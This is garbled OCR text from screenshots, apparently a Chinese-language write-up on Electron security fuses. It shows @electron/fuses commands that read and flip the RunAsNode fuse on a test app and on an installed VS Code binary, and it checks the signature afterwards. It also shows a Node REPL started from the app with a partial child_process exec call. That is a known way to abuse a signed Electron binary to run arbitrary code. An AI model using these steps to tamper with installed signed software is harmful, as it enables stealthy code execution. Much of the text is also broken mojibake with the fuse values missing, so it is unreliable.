LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is

PS C:\Users\join\Desktop\forge_test\my—app\out\my—-app-win32-x6u>

A LIEE|

B Windows PowerShell

PS C: \Users\]01n\Desktop\forge test\my-app\out\my-app-win32-x64> npx @electron/fuses read

Analyzing app: my-app.exe
Fuse Version: vl
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x6u>
PS C:\Users\join\Desktop\forge_test\my—-app\out\my-app-win32-x64> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x6u>
{

path: 'C:\\Users\\join\\Desktop\\forge_test\\my-app\\out\\my-app-win32-x64\\my-app.exe'’

name: 'my-app'

icon: NativeImage {
toPNG: [Function: toPNG],
toJPEG: [Function: toJPEG]
toBitmap: [Function: toBitmap]
getBitmap: [Function: getBitmap],
getScaleFactors: [Function: getScaleFactors],
getNativeHandle: [Function: getNativeHandle],
toDataURL: [Function: toDataURL],
isEmpty: [Function: isEmptyl],
getSize: [Function: getSize]
setTemplateImage: [Function: setTemplateImage],

@index.html

File Edit View Window Help

Hello World!

isTemplateImage: [Function: isTemplateImagel,
isMacTemplateImage: [Getter/Setter],

resize: [Function: resize],

crop: [Function: cropl,

getAspectRatio: [Function: getAspectRatio],
addRepresentation: [Function: addRepresentation]

PS C: \Users\]01n\Desktop\Forge test\my-app\out\my-app-win32-x6U4> npx @electron/fuses write

Analyzing app: e

Fuse Version:
RunAsNode is

Writing to app:

d will become

PS C: \Users\]01n\Desktop\f0rge test\my-app\out\my-app-win32-x64> npx @electron/fuses read
Analyzing app:
Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityvalidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my-app\out\my—app-win32-x6u> |

INE RunAsNode ZFY Enabled 1, =IAHIT Node.js

22T /# 26T

, F—IAREEIFEHRZHEIN
|51$E’J

PS C: \Users\]01n\Desktop\Forge test\my-app\out\my—app-win32-x64> npx @electron/fuses read

.\my-app.exe

uélﬁ]ﬁ*i’?ﬁg RunAsNode x& Disabled E"J, J@Ft%?&iiéﬁ’lf Node. js #l.?i’

.\my-app.exe

.\my-app.exe RunAsNode=on

.\my-app.exe




PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> npx @electron/fuses write .\my-app.exe RunAsNode=on
Analyzing app: my-app.exe
Fuse Version: vl
RunAsNode is and will become
Writing to app: my-app.exe

PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> npx @electron/fuses read .\my-app.exe
Analyzing app: my exe
Fuse Version: vl
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is B E=
EnableEmbeddedAsarIntegrityValidation is _
OnlyLoadAppFromAsar is = *m}&
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> Welcome to Node.js v20.11.1.
Type ".help" for more information.
>

> require( d_process').exec(

PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x6u>

BETIRENWIRA—T, B vscode B fuse BiiEfa, EMNERESKRIBAN

J —
Microsoft VS Code X S
<« N 6] O > - AMEERC) > FF > join > AppData > Llocal > Programs > Microsoft VS Code > £ Microsoft VS Code Hhi#iZ Q
&)
24,
® g - % © B B W Nf#xEr =zE- (B ¥R
= 24,
s O &% e B8 ESiS KN 24,
X . N - 24,
[a]]=]= bin 2024/5/10 1:52 T A
@ OneDrive locales 2024/5/10 1:52 Xk 24,
o 24,
policies 2024/5/10 1:52 Xk 24:
c 24,
2024/5/10 1:52 Xk 1
e resources 5 A
e/ S s
LT tools 2024/5/10 1:52 praie ij
[ ) chrome_100_percent.pak 2024/5/7 5:13 PAK 324 164 KB 1
=pre-t -7 24,
|| chrome_200_percent.pal 2024/5/7 5:13 PAK 374 223 KB 1
- “ch 200_p pak xf 24,
BR 24,
o 84 Code.exe 2024/5/17 5:49 RIFEERE 163,894 KB i
DER - 8 B
| " Code.VisualElements < 1KB
| P> B = HEH HFEE ne HAER LBINRE B HmER EBRE
[ d3dcompiler 47.dIl ™ e S °X Crdiiled 124 812 KB
: Forensic_noip_ WIT
%] ffmpeg.dil BBIIE
Forensic_198.188.( - — EBER
O icudtl.dat L. RBE. HaE B mR -
forge_test B Micro... sha256 2024%S5... A
- s 2 EBRBRINT:
<] libEGLdII [ HFESEER I R
* ¢ tibGLEsv2.dl AR, - WRSHREG T
= ) « CRIPEIHERTTIEAHER
 LICENSES.chromium.
I rheapx . BEEREBO)
- resources.pak &
R Microsoft Corporation
@M% C snapshot_blob.bin
B P FETF
& unins000.dat 724 Microsoft Corporation
‘ ins000. EERE: 2024%E587H 13:48:19
unins000.exe
mERE: Microsoft Code Signing PCA 2011
& unins000.msg BEFH
v8_context_snapshot ) BHHM 2023/11/17 B 2024/11/15
&
[%] vk_swiftshader.dll |
5. BF. HEE
/] vk_swiftshader icd.js¢ Micro... RaJF 20244ES5...

i LEETFH( B EIRBA(S)
ndex-fb4db92eff222065e2e79488b9ed076d.code
constants-3660fcc8acfde029c19a08d3b888ef21.code

244E % 14IIE 160 MB
e e e

S

"C:\Users\join\AppData\Local\Programs\Microsoft VS Code\Code.exe"

JFEY vscode M fuse
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npx @electron/fuses read --app

C:\Users\join\AppData\Local\Programs\Microsoft VS Code\Code.exe"

PS C: \Users\301n> npx @electron/fuses read
Analyzing app:
Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
PS C:\Users\join> |

%ﬁﬁﬂ?ﬁﬁz)—é, %ﬁu% RunAsNode 1§§7§ Disabled

PS C:\Users\join> npx @electron/fuses read
Analyzing app: Code.exe
Fuse Version: vi
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
PS C:\Users\join> npx @electron/fuses write sers\ n\Apf al\P “ode e.exe" RunAsNode=off
(node:5100) axLlstenersExceededWarnlng Possible EventEmltter memory leak detected 11 close llsteners added to [TLSSocket]. Use emitter.se
tMaxListeners() to increase limit
(Use ‘node --trace-warnings ...‘ to show where the warning was created)
Analyzing app yde . exe
Fuse Version: vi
RunAsNode is and will become
Writing to app: Code.exe

PS C:\Users\join> npx @electron/Fuses read
Analyzing app: C
Fuse Version: vl
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
PS C:\Users\join>

R INERY, RunasNode HVIRE, BIIE—TERIE
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< 0 C O > - AKHMBEE(C) > FF > join > AppData > Local > Programs > Microsoft VS Code > £ Microsoft VS Code Shi#Z Q

®@mer X O B 2 W N =zZE- - B #aEs
P 0 &% XA ES Kb
olicies 2024/5/10 1:52 Xk
R P
resources 2024/5/10 1:52 X4k
> @ OneDrive
tools 2024/5/10 1:52 prei=3
[] chrome_100_percent.pak 2024/5/7 5:13 PAK 3214 164 KB
[ Ed)
] chrome_200_percent.pak 2024/5/7 5:13 PAK 3214 223KB
L TE ok EB X
)(I Code.exe Semmmmmmmm e 163,894 KB
5 v PPl ey s
- Code VisualEleme| 18 EAL DR
WNEs B RS BFES ze  WAES LEINEA
%] d3dcompiler 47.d| s
DER . EBER
| - [4l ffmpeg.dil EEHIE " 5
T ) 5. WE. HER - e
O icudtl.dat Micro... sha2s6 2024%F5 Y measam / RERIERNRTES,
{ Forensic_noip_WIt . N N
{ %] ibEGLdII HHFEET.
Forensic_198.188.( .
- [%l libGLESv2.dIl
HEERERE
forge test € LICENSES.chromiu FEEERS)
src N B [Microsoft Corporation
resources.pak
[] snapshot_blob.bin AR R BR&LS: Microsoft Corporation
> I B & unins000.dat HERTE: fo24s5A7E 134819
T ) RE: Microsoft Code Signing PCA 2011
- 3¢ unins000.exe EEEHV)
& unins000.msg BMEIM 2023/11/17 B 2024/11/15
RIE(L)

v8_context_snaps|

£E.. BF. HER

%] vk_swiftshader.dll Micro... [ 20245

] vk swiftshader icc REEB().. i
«| vulkan-1.dll
3 Code - BlZ.exe LREE(D)

25 NRE 14NRE 160 MB e
b Aol | . | L L= |
RAR, BRRM

7MWy L X
2 7 A I E B TIR?
A LIESRITIE:
chrome_100_percent.pak 2024/5/7 5:13 PAK 3214 164 KB
[ chrome 200 _percent.pak 2024/5/7 5:13 PAK 3Z{4 223 KB
2>4 Code.exe 2024/5/10 17:29 RIFEfER 163,894 KB
Y Code.VisualElementsManifest.xml 2024/5/7 5:13 xml auto file 1KB

s d3dcompiler 47.dll

File Edit Selection View --- 0 Search

[4] ffmpeg.dll
Restricted Mode is intended for safe code browsing. Trust this window to enable all features. M. Learn More
@ icudtl.dat
NI i B Js tsserverjs X IS p
s libEGL.dIl

s > join > AppData > Local > Programs > Microsoft VS Code > resources > app > extensions > node_modules > types
38.( o -
%] libGLESv2.dll

@ LICENSES.chromium.html
7 resources.pak
' snapshot_blob.bin
 unins000.dat
36 unins000.exe
&3 unins000.msg
[} v8_context_snapshot.bin

[4] vk_swiftshader.dll

PS C:\Users\join> npx @electron/fuses write RunAsNode=on
Analyzing app:
Fuse Version:
RunAsNode is and will become
Writing to app: exe

PS C:\Users\join> npx @electron/fuses read
Analyzing app: e.exe
Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityvalidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
PS C:\Users\join>



[) chrome_100_percent.pak 2024/5/7 5:13 PAK 3Z{4 164 KB

»
[") chrome 200 _percent.pak 2024/5/7 5:13 PAK 3214 223 KB
»
» ©>q Code.exe (ﬂ Code.exe B X WB
[ Code.VisualElementsManife . B
» B ol 8FEE ke HAES LEIIRA
d3dcompiler 47.dll |B
* ) EEHIE
ffmpeg.dil | BFERFEER ? X
» ) FE. BE. NEEK
© icudtldat Micro... sha256 2024%F5. T =7
ip_WIr i —
libEGL.dIl E,}‘ HFEEER
18.188.( . i e
libGLESV2.dll HHFERIER,
€ LICENSES.chromium.html
BEEERO)
[ resources.pak
R ’Microsoft Corporation
[) snapshot_blob.bin
TR 2z
© unins000.dat
foX=i:h 1 48:
3 unins000.exe HRIE) |2024E’FSJ§7E| 13:48:19
&3 unins000.msg EETHV)
[} v8_context_snapshot.bin
_ _snap:
== n

ERXMETER, XERER

0x06 B4

Electron ARMIEFRINGHEE —LH5E, AMXERUEHTLZRAE, EERSFHML
AR ALEEHRARE, FRULERLT —1MEHX, AUEITEFIES, BEXNXHASEA
XEEFE

BREIRE, XEFHRESENTERA M SHIT. XHIRE, TESRIFENT

e runAsNode

e nodeCliInspect

e nodeOptions

e grantFileProtocolExtraPrivileges

N AERFRY fuse BRILIENHERY, EXERMTIA, ATFRHENERSXHAREIE2ZEF
TR, FiUEIRELEZNIEFNfuse IRHRERRY, ERELBENfuse BRI —
R, RIFMREAWEF—H, SEMIERER
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